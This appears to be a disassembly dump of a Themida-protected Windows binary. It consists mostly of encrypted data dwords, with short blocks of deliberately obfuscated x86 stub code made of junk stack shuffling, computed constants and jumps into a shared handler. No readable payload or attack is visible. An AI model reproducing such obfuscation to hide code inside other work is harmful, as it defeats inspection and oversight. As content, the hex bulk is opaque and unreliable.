		dd 0F264C0AAh, 3F5BFD51h, 7E50330Ah, 7D056311h,	2A95434Eh
		dd 0FEBD15E2h, 0BBCBFA52h, 82CA74DFh, 0F2C17E7Ch, 0DE8AB251h
		dd 67B900D1h, 0C672478Ah, 0AF0F6BEh, 1E51F2C2h,	1ABCC7F6h
		dd 0C205EBF1h, 0F11951F2h, 0B658AD59h, 48716094h, 1B819F6h
		dd 5EBF1B9h, 1951F2C2h,	4C58C2F1h, 1DEA32DEh, 0CED403BAh
		dd 21983906h, 0E32BAEF2h, 517957E5h, 0AAF22FFh,	82E7525Eh
		dd 67BF6B50h, 0F2BF87CFh, 0D62EDADFh, 0F6F0EF7Fh, 0C3B5D67h
		dd 603CEC8h, 0AAB07858h, 580603C4h, 0FD81B0D8h,	0B71C29D5h
		dd 8B4D5A06h, 7A808834h, 58060394h, 6ACE80A8h, 0DE34C928h
		dd 42A1016h, 163E5806h,	3FF595E7h, 0F8D52792h, 2834E0D9h
		dd 7A6066BAh, 7580604h,	0FD25EBCEh, 10171D65h, 665DF939h
		dd 3D14EC3Eh, 4F2E5D53h, 99A4D3D2h, 572F8138h, 1CBB4D8Ah
		dd 55D09A1h, 0B20DCBD6h, 0A513A760h, 0D0ABB1F9h, 3C57E5EDh
		dd 0EE886E74h, 749C5805h, 0ED99C145h, 141AF3E0h, 5805EF2Eh
		dd 0C7415B42h, 0B7542F20h, 7C35871Fh, 8B46AB13h, 0C8F7E12Eh
		dd 0E42CC41Ch, 50FCBF17h, 942C8F43h, 0E860464Ch, 4C7451F1h
		dd 8B6DB31Dh, 9651F1E8h, 0CF2F8C0h, 2051F1E8h, 0DB77C9F8h
		dd 0EDF1A5C0h, 2C59FEh,	17700000h, 0E863494Fh, 4F7751F1h
		dd 0FFBE1520h, 0D0EDEAB7h, 0BF137A1h, 5051F1E8h, 7B58ECAEh
		dd 0B4DAF042h, 7651F10Ch, 0FFFF9B28h, 0C4127FFFh, 0F4E2AFF7h
		dd 94C31BC7h, 13CAB3ADh, 7D834BABh, 51F1E797h, 17FD83ABh
		dd 0A451F1E8h, 87DF8B34h, 874C99C1h, 9A328A36h,	0B1540D71h
		dd 1EDE5C4h, 4F5Ah, 0AB137100h,	1117D2FBh, 51F1E82Bh, 17EE173Fh
		dd 9968C840h, 9FD7381Ah, 0A54B56BDh, 1A204FE7h,	494F1771h
		dd 51F1E863h, 15204F77h, 0E0B7FFBEh, 7F56F17Bh,	0D711E33Ah
		dd 4BE3D8FAh, 6910351Ch, 7A8C4A17h, 20CC6459h, 248D99C8h
		dd 0E4000000h, 0D2FBAB13h, 50824F17h, 12F83C6Bh, 3B51F1E8h
		dd 4F17ACD5h, 7D2F6478h, 2D5C2944h, 0FCC11246h,	126910D3h
		dd 474FFBC0h, 32615E7Ah, 0F1E808EEh, 0EFAB4D51h, 0EC3E7D55h
		dd 0F1176DD6h, 8957A551h, 8FFFFFF3h, 0AC11C2h, 179279A8h
		dd 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0BB63D1ADh, 1BAE6D73h
		dd 3C6457E5h, 0FB684A90h, 51735805h, 0DACB9A31h, 0CB93F8D9h
		dd 602DFC5h, 9CCBF358h,	736h, 1114D00h,	68000000h, 203AA513h
		dd 0E4CAD0A2h, 0F851F224h, 57D79D0h, 8E5BA33Bh,	73CB7744h
		dd 0E9383E44h, 0BF57E619h, 0CE3EB97h, 16CC822Bh, 0EAA6F7A3h
		dd 609BA7FEh, 0D4FF0A39h, 658197E9h, 535806E7h,	0BA6EA7Ch
		dd 56853027h, 0EA328D4Bh, 4F55B41Dh, 5806F769h,	11BD557Dh
		dd 9D7A8AB9h, 0D0D8843Bh, 0F8DD2F9h, 97DFF0C1h,	796AB91h
		dd 6897BF58h, 0F5CB811Ch, 610DAE28h, 0E224B209h, 0D5AB7BC5h
		dd 0FE3654A6h, 0B693E5DAh, 0CAEFE620h, 3A9C6732h, 0E6EBB681h
		dd 0B81A27D3h, 3F235703h, 9AFE9E03h, 4D7249F8h,	52969E8Ah
		dd 0E6F0FB2Ah, 0B13D34D5h, 0FF6DE5B4h, 914Ah, 0A8136100h
		dd 4F17D5FEh, 0F1E86349h, 204F7751h, 0E831141Ah, 0EE5451F1h
		dd 0CB6E17C5h, 0C412958Bh, 0CAB3CEF7h, 303CAB13h, 0C4DCB188h
		dd 0D8BB44Ch, 0E5C4B154h, 305A01EDh, 71000000h,	0D2FBAB13h
		dd 0E82B1117h, 173F51F1h, 176E17EEh, 0E863494Fh, 4F7751F1h
		dd 0FFBE1520h, 0D4E9EAB7h, 4E83D028h, 10553C6Bh, 1D1169h
		dd 13680000h, 17D2FBABh, 0F1E82B11h, 0C5EE5451h, 0C1126E17h
		dd 4A10D3FCh, 0BB67567Dh, 174D3463h, 1308D4Ah, 0FFFF66F5h
		dd 0C4124CFFh, 76434BF7h, 5CB4605Dh, 7B4222Dh, 3E15DDB5h
		dd 85A36CDEh, 0B79D2308h, 0CB51F2BFh, 0FC6A74A3h, 1531DC95h
		dd 3ED6ECDAh, 0C45DF0F6h, 0A3CB57E5h, 0BC18EFF7h, 0ED4755Ch
		dd 77599DCCh, 825806CEh, 0BCA92260h, 42F8D907h,	2Dh, 0F9A51359h
		dd 2E8ABB1h, 8EB657E5h,	2BA9CE2h, 0A3C55806h, 0D679ECE7h
		dd 1DE5F8D9h, 60F3117h,	70684558h, 2288B74Fh, 0E8h, 0F7C41239h
		dd 757B434Bh, 51F1E78Fh, 96B2BCA3h, 91191333h, 18BFCAF9h
		dd 0EAECF9A5h, 501D25D1h, 7F8C3881h, 63BB6752h,	45919CCBh
		dd 0BDDAC0C6h, 0C6EE51F2h, 0CB635A79h, 0FCCAA179h, 0C0A6AC94h
		dd 0D451F25Bh, 27AF55ACh, 0C5714A8Ch, 62A6D56Dh, 51F1EC24h
		dd 0E4368551h, 40ECCF07h, 0D21AC634h, 0E53E29CCh, 0E2D0B757h
		dd 0E2BEC308h, 2A1B70Eh, 47A7FF40h, 13815DAFh, 0E14C236Bh
		dd 0F83A8233h, 4B515786h, 5DFBB7C8h, 0DEA6EE16h, 972A1016h
		dd 163E5E1Dh, 0C2FBDCE7h, 0BA449370h, 4312BA51h, 0E9C75FD8h
		dd 389381DBh, 43AAB8A2h, 6000002h, 0BA97E9D6h, 7552A419h
		dd 2F0C5E5Dh, 0E4C113A6h, 3F78CAF3h, 1DA03779h,	0D6E3EECBh
		dd 8E31A784h, 44775F3Ch, 585EE6F2h, 580C4572h, 12248B86h
		dd 0C9A6F8C5h, 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
		dd 602BA9Ch, 0E7A3C558h, 5F017B52h, 0A3A503E0h,	6F5D0874h
		dd 3401F8D9h, 156D19A2h, 0D880E6h, 12970000h, 3E4BF7C4h
		dd 886E7499h, 9C51F1E8h, 0C794DC74h, 0AD05B10Ch, 90CE147Eh
		dd 0BD51F1ECh, 7350A219h, 43105863h, 94FE2D90h,	0D8BEC48Ch
		dd 0EC51F1ECh, 1D8B95C4h, 80232971h, 8C57E53Eh,	89469B5h
		dd 7BAABF0Ah, 0A57DCFF7h, 6FF1D7DDh, 7D835806h,	58066F97h
		dd 95BD83ABh, 83EE5C66h, 2586D167h, 9DE57DA9h, 0FB017397h
		dd 93DB035Dh, 8BED11C6h, 67C568Ah, 0DB050635h, 31C9BE2Bh
		dd 3DFDE3E9h, 0E9115E1Ch, 0B522FF51h, 0E2A42A08h, 3ED3894h
		dd 145F5h, 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah
		dd 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h
		dd 0E4F04279h, 4670565Ch, 8984580Ch
		dd 43C51222h, 4A922A95h, 3261587Dh, 2A914522h, 40171FD8h
		dd 5B6A0F99h, 0BDC8F739h, 0E9F6A219h, 0A47CCEEDh, 2FDC72CDh
		dd 98C7A259h, 2870208Eh, 0E5448B22h, 91D90157h,	0E6D7FCC9h
		dd 0A8BE23Ah, 0AD82EB65h, 0EEE8F322h, 389E7BCDh, 1AE7CDD3h
		dd 23FB5806h, 61B371Dh,	8B234B58h, 0DDE3ABF3h, 58061AF7h
		dd 1A9D8389h, 89B15806h, 26C9BC3h, 90D888F6h, 0FF5F048Ah
		dd 5230585Dh, 3890C286h, 8F27351Fh, 0BA000000h,	6E4B9D22h
		dd 29065865h, 0E3C012A9h, 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h
		dd 8A2FA27Fh, 427D5B38h, 0F8C313F0h, 0C129AA6h,	580C4726h
		dd 13D83F3Ah, 0ABB1F9A5h, 57EB2C29h, 0EAB26F3h,	87335BDFh
		dd 0D5F5C7Ah, 81676D35h, 95580C2Bh, 0A3333E6Dh,	0E9266C18h
		dd 0AB157D9Eh, 0E5F10B47h, 16C18ED6h, 74A3FBA7h, 6C4F8764h
		dd 9722B3C0h, 56F496EBh, 3183389Eh, 76478C59h, 219A3C47h
		dd 32966D75h, 92C3EF0Ch, 3A6B2E1h, 0FD000000h, 0CA127DE4h
		dd 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh
		dd 0B61F2CD8h, 884A5703h, 597A8733h
		db 64h,	0B8h, 33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	0CE3h
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	70E37880h
		pop	edx
		and	edx, 36BA4DF4h
		add	edx, 0D577FD52h
		mov	eax, edx
		pop	edx
		push	2EE2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 53h,	0B8h, 5Ch
		dd 3061A60h, 85C650C5h,	6141A59h, 17256847h, 0B5FFCF38h
		dd 6141145h, 3B13858Dh,	0D0FF0614h, 858DD88Bh, 6141DB5h
		dd 1046850h, 0D3FF0000h, 1A5985C6h, 68530614h, 8307F8BFh
		dd 1145B5FFh, 858D0614h, 6143B13h, 8589D0FFh, 61A43A4h
		dd 2309BD83h, 0F000614h, 0B84h,	0C19D8B00h, 0E9061410h
		dd 5, 0BBh, 1006800h, 0B58D0000h, 61A43A8h, 95FF5356h
		dd 6140625h, 43A8B58Dh,	0F003061Ah, 1E9h, 3E804E00h, 9840F5Ch
		dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h,	1A43A885h
		dd 95FF5006h, 61A43A4h,	0BCE0FF58h, 20659C5h, 0C67A5EEFh
		dd 101D1539h, 0AE2BF3DBh, 0EF4A6CC7h, 840B7C6Ch, 844A2922h
		dd 7B6C84C1h, 0E81A653Eh, 5, 78376319h,	816657E1h, 5808E3E3h
		dd 0FBB70F5Eh, 6E0EC681h, 0B8660000h, 5E683425h, 0BF00001Bh
		dd 533F0D67h, 28F0F59h,	8B000000h, 66168BDFh, 9959DF81h
		dd 3BC2EA81h, 73BF7710h, 810239F3h, 886857F2h, 4B36B877h
		dd 0EA814B18h, 13D50BD5h, 0B70F1689h, 0CAEE81D8h, 8123F780h
		dd 0F780C6C6h, 0E983F823h, 20850F01h, 0E9000000h, 7, 0A0377BAAh
		dd 0E941B011h, 1Eh, 817BCC00h, 0AEF9BCADh, 5C03A336h, 0E91E9B98h
		dd 0FFFFFF9Dh, 88CEDF62h, 97041AE4h, 8D8D0BBCh,	61A6318h
		dd 6398529h, 8D890614h,	6143229h, 31D5BD8Bh, 85C70614h
		dd 614064Dh, 70D4h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0E2C35040h, 8988BA2Eh, 142B0D8Dh, 7185C706h
		dd 61426h, 8B000000h, 1B5FFC6h,	6A061416h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 59BFC355h
		dd 1125E359h, 0A3882343h, 2675958Bh, 95FF0614h,	6142361h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h
		dd 9D29DEB9h, 6140F79h,	95FF006Ah, 6141169h, 3EEBC08Bh
		dd 0B31CF4D4h, 1490230Bh, 77FAAFD3h, 0F6950D6Eh, 0B08D0816h
		dd 0C046032Dh, 0CBE3D7C2h, 0CF28DCA9h, 0DC19B30Ah, 0A7D3CC78h
		dd 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h, 0C1E2A608h, 0B763997Eh
		dd 6E83B49h, 3D000000h,	0D4B504F0h, 0E4F0816Bh,	5E2226C2h
		dd 262D9D89h, 0C6810614h, 67A3h, 33C2BF0Fh, 3334FFDBh
		dd 1E8A0Fh, 12E80000h
		db 3 dup(0)
byte_5AEF6B	db 9			; DATA XREF: Themida_:00549AFCo
		dd 0C1AE4AB8h, 6C407212h, 567C11Dh, 21A476D1h, 0F9B531AAh
		dd 5806142Ah, 6860F59h,	23000000h, 14346585h, 0FCF18106h
		dd 895DCB3Eh, 140F1D85h, 0FEF18106h, 0E965B253h, 6, 0C524DB26h
		dd 0E981294Ah, 1E020F7Ch, 2E8D858Bh, 0C890614h,	68D0811Eh
		dd 893ED791h, 142D2985h, 6FEB8106h, 8B3CB07Dh, 140E1185h
		dd 6BC38106h, 663CB07Dh, 2E8DA81h, 990CFB81h, 850FFFFFh
		dd 0FFFFFF71h, 0A499D89h, 14E80614h, 4000000h, 4557F24Ah
		dd 0C62586A9h, 0C4E7F331h, 65A665D7h, 0E9B981CFh, 0Ch
		dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 68E0F59h, 8B000000h
		dd 141CFD9Dh, 0F4C18106h, 0E900006Eh, 7, 0C83402EAh, 68E5B0B5h
		dd 1B97h, 0A1858Bh, 8B5F0614h, 14322D95h, 8B318B06h, 18C681D9h
		dd 8138F028h, 5AE92AD8h, 80C68118h, 8B4BA701h, 7DC681DEh
		dd 0F4D0AC4h, 683h, 919D8B00h, 89061423h, 8ABB6631h, 4E983E0h
		dd 0A51B589h, 0EF810614h, 1, 0FFBB850Fh, 0E9F8FFFFh, 8
		dd 12FF1F1Ch, 0
		dd 494E9h, 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh
		dd 9C21B693h, 9A7114Ah,	0C09DEFCEh, 7956A811h, 310E605Fh
		dd 0B8C416A5h, 4C442A30h, 5D58580Ch, 884A17F6h,	0CD655A7Eh
		dd 8F9AC921h, 0BBC87447h, 8259A11Ch, 12CB983Eh,	7383B280h
		dd 0CF7B4096h, 13F9FFC7h, 2751F247h, 11C5D0FFh,	2EDAE1F5h
		dd 7D90A417h, 14AC7014h, 4CBDB5BDh, 32CA126Ah, 0A45A7986h
		dd 3CB3A752h, 28D46C3Bh, 0F80C4EB2h, 0AE8BDDDEh, 804D952Ah
		dd 60B86455h, 5CD2BD09h, 588739E7h, 2FA37048h, 5988E08Ch
		dd 89358A4Eh, 0B864557Ch, 91400D63h, 0F5247C28h, 8B4DE7A3h
		dd 0D105E234h, 0D5A2EAh, 0DA208AB9h, 51F29FF7h,	0A8235F73h
		dd 0FEED39BDh, 0EDD3D9A1h, 151F2ABh, 3944AAD9h,	5B000000h
		dd 4BF7C412h, 0F1E82105h, 0CF8B9F51h, 0EDF191D4h, 16DFEh
		dd 12840000h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h
		dd 9F371466h, 0E4FDD41Ch, 0A30EFDBCh, 9A536392h, 4CF8C512h
		dd 7D29943Fh, 51EBA70Bh, 8E53786h, 3441EDCEh, 0EA711D9Eh
		dd 64118AC8h, 0BAFEEDEFh, 83h, 0F8C512D1h, 6177444Ch, 0E18D2CA9h
		dd 0ED45F189h, 0E71FB3BEh, 0C921CDF0h, 0F70F8531h, 0E843292Fh
		dd 0FAC651F1h, 97609758h, 6392BA80h, 1CBB7111h,	8B9159A1h
		dd 51F22FA5h, 2F3A91B9h, 0AE76CCDBh, 0BA97A7D6h, 0E7F4A01Dh
		dd 0FBC016EEh, 0FA9227AEh, 0E5A5C74Eh, 0EDB587EEh, 4F97FEh
		dd 12AE0000h, 0E3B0F8C5h, 0C820CCEFh, 305F5A7Bh, 0A01FB9C6h
		dd 0BEDCC0F4h, 0A51ABE8Bh, 8254A1F9h, 0D8FF0A39h, 12DA93E5h
		dd 0A50FCC1h, 51F1E827h, 0E69227AEh, 14C0FFD9h,	0BD7D1DBFh
		dd 69CE5733h, 961F9E8h,	273E55F5h, 0D7FEEDEAh, 1, 0FBC012EEh
		dd 5B7A474Fh, 0E7C2A8AEh, 0AED651F1h, 0E3126A16h, 0CF08FED8h
		dd 0E852383Eh, 3E6651F1h, 0D620EA6h, 0BD152F6Bh, 62D0ACFEh
		dd 0E6AE76BEh, 0F1E7FAE0h, 0A5310E51h, 0B4F7E16h, 57E502F4h
		dd 8E96426Ah, 2DAC0C6h,	0C6EE5806h, 714A8C97h, 2794421Fh
		dd 0F9C612DFh, 8B5860CAh, 0B7C4704Bh, 98F09C1Fh, 0A98DD100h
		dd 0B580602h, 8A2FA673h, 0B706D1DEh, 0EC1BB30Bh, 7C49F89Ah
		dd 2A356455h, 407D5AACh, 5D7956A8h, 0AA165B9Fh,	89214681h
		dd 0B506D0DDh, 17339709h, 0FAC115E2h, 0A516C0CBh, 0CF501553h
		dd 1AEF8D9h, 0C5000001h, 0B1F9A513h, 20D21DAh, 60B7B0EBh
		dd 82CDB6F4h, 0E9EF1E58h, 0E5B5ACE3h, 8E3A6257h, 14665581h
		dd 701C9F37h, 9C487363h, 7084C62Ah, 0C5035566h,	0F8D923A0h
		dd 0AF0F6BEh, 1E5806C2h, 4061C7F6h, 78000000h, 0B0F8A613h
		dd 0F1E7E4AAh, 686936D1h, 0ECCD0451h, 651139BDh, 0F1E8391Fh
		dd 0F999BDD1h, 0AA5A7B48h, 8FE79328h, 0C4F34BF7h, 5DA54DBAh
		dd 0F1E89157h, 0F53D6551h, 0E211AA28h, 7EF4D2h,	134B0000h
		dd 0ABB1F9A5h, 57E510F0h, 0BDCA769Eh, 835AA219h, 4CA57A44h
		dd 161C648Ch, 58064330h, 0DDED1C44h, 39E5D600h,	64412F3h
		dd 0C88A6E58h, 0C719A234h, 89D17DEBh, 0E5F016BCh, 38D028D4h
		dd 69547F8Ch, 9ECD65BDh, 0A8E79298h, 4D755DFFh,	794294A1h
		dd 0B4D678CDh, 1FB61381h, 0F2E1EE9Ah, 539B33CBh, 0A613BE8Bh
		dd 0D883377h, 3916641Ah, 1E762299h, 855C3486h, 65B7EA5Ah
		dd 0A58CBB0Ah, 0B1F9A513h, 0EB4D00ABh, 0BA668E57h, 409229ADh
		dd 9C487363h, 0AEE1FD56h, 0F793F74Ah, 0DA22993Dh, 0F05D0703h
		dd 0D028D4E5h, 13939579h, 0DFF7D4E4h, 0B22330DCh, 64065B07h
		dd 3EC80E26h, 55646D97h, 0F6D325BDh, 0C693DBE0h, 0DFDAF711h
		dd 14439B47h, 39CAAh, 0E4F30000h, 0F5CA127Dh, 219A3C49h
		dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
		dd 33884A57h, 64597A87h
		db 0B8h, 33h
; ---------------------------------------------------------------------------


loc_5AF4AE:				; DATA XREF: Themida_:0054AC88o
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	6D84h
		mov	[esp], edi
		push	ecx
		push	esi
		mov	esi, 25DD6C16h
		mov	ecx, 5E4A79EDh
		sub	ecx, esi
		pop	esi
		mov	ebx, 3E776911h
		xor	ebx, ecx
		pop	ecx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	3912h
		mov	[esp], esi
		mov	esi, ebx
		mov	[edi+8], esi
		pop	esi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dw 24DCh
		dd 68CFB8F4h, 0C503061Ah, 0AB6DE0FFh, 0B1D14469h, 0A2AE6A66h
		dd 1D9E088Ah, 0C89B0BC2h, 0FED4374Bh, 8D8D7C4Fh, 61A6A75h
		dd 20A99D09h, 8D890614h, 6143229h, 7B3CB866h, 0DE9h, 93D69D00h
		dd 6B69A79h, 3F72CB36h,	85C7B45Ch, 614064Dh, 69CCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 55C35141h, 18313D48h
		dd 7185C724h, 61426h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0DBA4C355h,	5EBB412h
		dd 0E1B5FF9Dh, 6A061402h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 8185C351h, 3414B397h
		dd 0FE8B52EAh, 0FFF28B5Eh, 14236195h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 794527D0h, 97786D54h, 13E8h,	0F89E4D00h, 8901E160h
		dd 0BDDC0C76h, 0D8BFB08Fh, 0EC7A0B3Ch, 5FFE8A57h, 0FF006A58h
		dd 14116995h, 0EBC08B06h, 6DDC91Dh, 2F46E8E3h, 8FB77926h
		dd 0D715E72Ah, 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 34E9FB74h
		dd 58000000h, 93568067h, 9DE61D8Ch, 6E2E81E8h, 6C6C6474h
		dd 6C6C642Eh, 0BD146700h, 0B98003B2h, 0FEh, 4 dup(0)
		dd 0E9000000h, 6EDh, 1A6C6A68h,	1341E906h, 1268FFFAh, 0E9061A6Dh
		dd 0FFFA1337h, 1A6DC068h, 132DE906h, 7868FFFAh,	0E9061A6Eh
		dd 0FFFA1323h, 1A6FA268h, 1319E906h, 7E68FFFAh,	0E9061A70h
		dd 0FFFA130Fh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch
		dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h,	5A7C59ABh
		dd 7B030F61h, 0C528F75h, 41A8A358h, 1A11h, 0C4126800h
		dd 983E4BF7h, 0C90EDB23h, 0C1F048F4h, 0E7B99BB1h, 9A3E51F1h
		dd 131AD325h, 2E8F44A5h, 4A922A82h, 0CEB4BA82h,	0E251F1E7h
		dd 55EDCC05h, 41A6A0FEh, 3D6C7ADCh, 0E5E8F6F9h,	0DDF5C257h
		dd 4DC2F41Fh, 942CF1B4h, 0A31FD1E8h, 0C6066ACAh, 537BFF2Eh
		dd 573D430Bh, 0E45806C9h, 0DB03C9F2h, 723A42ACh, 6C9866Ch
		dd 2C121858h, 405806CAh, 0E22A5218h, 6C9F6DCh, 0B3E20A58h
		dd 6C98D6Fh, 0D4769858h, 90795825h, 6C9A48Ah, 0F890B858h
		dd 0E6B354Ch, 0ED5BD506h, 21070D55h, 3558060Eh,	0F372DE0Dh
		dd 0BF8D9CBh, 21Ch, 0D372D122h,	0A971B965h, 0F15F6DCh
		dd 51F1E829h, 4E7D153Dh, 0E501BF0Ah, 7A340B57h,	6FBCEBB4h
		dd 81A92D5Ch, 96B98CE0h, 58259BF2h, 39913D7Eh, 0EE92000Ah
		dd 0C29DA0A6h, 9C692227h, 7FD7833Ch, 2702128h, 0C9F8A5A8h
		dd 8D51D45h, 55BFEECFh,	0EB33DB49h, 3CAD18E5h, 0DE03EA28h
		dd 0CC8F2F34h, 0AF10C815h, 0D402CF17h, 1EB895E7h, 4A26BF9Dh
		dd 0AF996E52h, 4BBA1h, 5F607C00h, 1AA3300Dh, 0D4E7EBC8h
		dd 8930A582h, 407D5A37h, 0AD03B5EEh, 6441932Ah,	1DFA4C6Dh
		dd 0D5B204BBh, 5C68BA01h, 53E8CED4h, 1FC580Ch, 0F7C4129Ah
		dd 2DD13F4Bh, 908DFE5h,	0D6FE57E5h, 0F8DFAC84h,	92C119C5h
		dd 0DA48E746h, 0B221EE36h, 0A217BE0Bh, 1C676D73h, 0EA5DF923h
		dd 0E5B27AC2h, 0C61ECAF1h, 1A245A40h, 17466E5Eh, 3D5A2B8h
		dd 89B810BCh, 97DEB845h, 6A1684D4h, 0A191C22h, 3F67FCABh
		dd 75198793h, 6B5A272Dh, 42C02C0h, 0D6E9EFBCh, 2D4A1A7h
		dd 4C8A67B9h, 0DA5E916Fh, 8B7593CDh, 4137Dh, 7B82400h
		dd 0C2FBD8B5h, 7C3F9370h, 31884D2Ah, 0E8D502DFh, 555B5D96h
		dd 0CE93B82h, 0C5A2F4C5h, 7D5AAC13h, 4106259h, 5490767Ch
		dd 0A9A4580Ch, 874A1742h, 0DEF80332h, 0E841272Dh, 2D5551F1h
		dd 14E1E995h, 5E444AC3h, 7251F1E8h, 7983B24Ah, 151B630Bh
		dd 57E5EB82h, 8B32A16Eh, 0D45887DFh, 227FBFEDh,	26BE4922h
		dd 0E68AF8D4h, 88FE989Eh, 426A5DFFh, 12A92DFAh,	0C8F3E3C0h
		dd 0CCB2B880h, 0E05E2067h, 171F89B8h, 6863494Fh, 4F775E20h
		dd 0AB2A4AF8h, 1847E7A9h, 0A8F0A00Eh, 134333A2h, 43214964h
		dd 327D01B6h, 65394731h, 0D2000003h, 8663B50Ah,	411E704Dh
		dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h
		dd 5A657350h, 10AB2B08h, 242AB2BEh, 580C553Eh, 12F05752h
		dd 0D30138C4h, 966F0AE2h, 0D84652FEh, 5FDAE028h, 8D57E5A5h
		dd 0F4351365h, 8C000001h, 6AD865D1h, 2D787EC6h,	0FB57E501h
		dd 0BCDE32D3h, 0C6AAE118h, 33DFDEF9h, 76438EDBh, 394372CAh
		dd 13DB23CBh, 42F9270Dh, 0D2543B4Dh, 0CDC49347h, 171D4CE4h
		dd 36265E11h, 38E40C53h, 0CA12BE2Ch, 4BA6F7C4h,	0A8E2C959h
		dd 4261798Dh, 975FA73Fh, 128E71C0h, 0F625F485h,	7ED0EBEBh
		dd 0A88635A1h, 3D42B25Bh, 0ADA8B6A0h, 8A000002h, 3E1B6D52h
		dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h
		dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580C55F6h
		dd 17A80F0Ah, 5A7A8940h, 1A16CC55h, 943F962Ah, 0F2FD2CF9h
		dd 0C28FD7E4h, 765DAA0Fh, 0A2AE1847h, 77448C34h, 0C1A7AD60h
		dd 0D551F24Fh, 0E0E615ADh, 0E57103DAh, 93A07757h, 39447474h
		dd 89B13564h, 5B647441h, 93FE1C2Ch, 73963B08h, 6DE876Dh
		dd 0DB739B58h, 8C34A2ACh, 0F8F33E44h, 0E4C15DF9h, 1522CEEFh
		dd 0CB63FBC2h, 853D142Ah, 2D805CB8h, 0D4ADF120h, 3CEABDACh
		dd 2958636Fh, 0C50DB11Fh, 0F0A80CBFh, 6A7038F2h, 0F311A884h
		dd 0BD417098h, 14E1E995h, 0F64EFAC3h, 0A7C2A8AEh, 0AED6F311h
		dd 0A207757Fh, 0A6EE8633h, 0D89907DEh, 405C6078h, 1172D4BAh
		dd 91C0E8F3h, 0F3B8858Bh, 628AF905h, 664C521Ah,	7AF928F3h
		dd 551D2352h, 0F2A1878Dh, 0A32EF928h, 4C126A16h, 0ECEAF524h
		dd 9CB087CFh, 6EF845BFh, 21F28799h, 0E97749CAh,	9CDAABAh
		dd 6839D4B2h, 0ECD69D87h, 183DEh, 9728B400h, 526B6845h
		dd 0CAF2300h, 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h
		dd 55328435h, 0DEA3C83h, 94A0F2C9h, 5720060Ch, 3934580Ch
		dd 0F7C412D2h, 2DD13F4Bh, 82501DE5h, 0C06C4D84h, 0CC24D068h
		dd 0EBC6599Dh, 0E5B257E5h, 0FFBE19EDh, 0B763FB53h, 84AC305Fh
		dd 55686F3Ch, 175D1626h, 8603FD40h, 3463094Fh, 0CC14BC2Ah
		dd 0EC5932C6h, 12C5A257h, 2FDBE0F6h, 5FA73FD7h,	0A9B84492h
		dd 4F94A62h, 926FC159h,	0BFCB7744h, 8E65AD51h, 2DE75F3Ah
		dd 8E94C354h, 7060688h,	0E22A525Eh, 0CDFCC315h,	0DFDCFAC7h
		dd 0E3C9CF97h, 0F75E27E4h, 0B390A0CFh, 0E0EC9823h, 0DBB70F72h
		dd 18AF886Eh, 1BB306CBh, 0EECB06D3h, 54B3B9BFh,	4A641A8Dh
		dd 0D7D34422h, 66503275h, 0A758h, 734C9000h, 2E8F4421h
		dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
		dd 310E6059h, 0E9C618A7h, 707CCEEDh, 57FCE2E8h,	1510580Ch
		dd 8B4A17AEh, 0FB2A822Eh, 93DB83F1h, 17FD03CBh,	2B51F1E8h
